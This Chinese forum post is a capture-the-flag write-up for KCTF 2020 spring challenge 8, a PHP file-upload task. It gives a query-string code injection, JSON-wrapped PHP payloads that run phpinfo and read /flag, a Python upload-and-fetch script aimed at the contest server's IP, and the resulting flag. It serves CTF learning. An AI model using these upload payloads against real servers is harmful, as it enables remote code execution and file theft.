-
-
[原创][原创] 看雪.安恒2020 KCTF春季赛 第八题 牛刀小试 by 心学
-
发表于: 2020-5-1 11:20 5094
-
最初题目应该是直接暴露了源码,
可以在上传文件后,在文件url后面添加?1=highlight_file(%22/flag%22)即可获取flag
flag{ko_ko_da_yo~}
之后,服务器版本变化了,上面的方法不能用了。
下面的这个可以获取服务器的php版本信息
构造json文件:
{data":"<?php phpinfo()?>"}
构造json代码:直接暴露flag
JSON:2.php { "ok":"<?php highlight_file('/flag'); ?>" }
题目直接说了在根目录。
这个提示,也就不需要用 getshell了。
但是位置放在其他地方,就需要用蚁剑了。
结果:
{'file': <_io.TextIOWrapper name='2.php' mode='r' encoding='utf-8'>} url:http://47.102.223.17:2333/ rStr:upload/1472045218.php url 1:http://47.102.223.17:2333/upload/1472045218.php len(url 1):47 200 UTF-8 ascii { "ok":"<code><span style="color: #000000"> flag{ko_ko_da_yo~}<br /></span> </code>" }
代码Python:getFlag.py
import requests url = 'http://47.102.223.17:2333/' filesA = {'file':open('2.php','r',encoding='utf-8')} print(filesA) print ('url:%s'%url) #文件内不允许有:[ ] ` ' ^ \ / $ . ; #文件内不能有两个值:"data"="","str2":"1212" r = requests.post(url,files=filesA) rStr = r.text.strip()#尾部存在空格。。。。 print('rStr:%s'%(rStr)) if rStr != 'JsonErr' and rStr !='DataErr' and rStr !='Long' and rStr !='no' and not r'<br />' in rStr: url = url + rStr print ('url 1:%s'%url) print ('len(url 1):%s'%(len(url))) headers = { 'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.116 Safari/537.36'} s = requests.get(url,headers=headers) print(s.status_code) print(s.encoding) print(s.apparent_encoding) print(s.text)
[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)
最后于 2020-5-1 20:54
被htg编辑
,原因:
赞赏
他的文章
看原图
赞赏
雪币:
留言: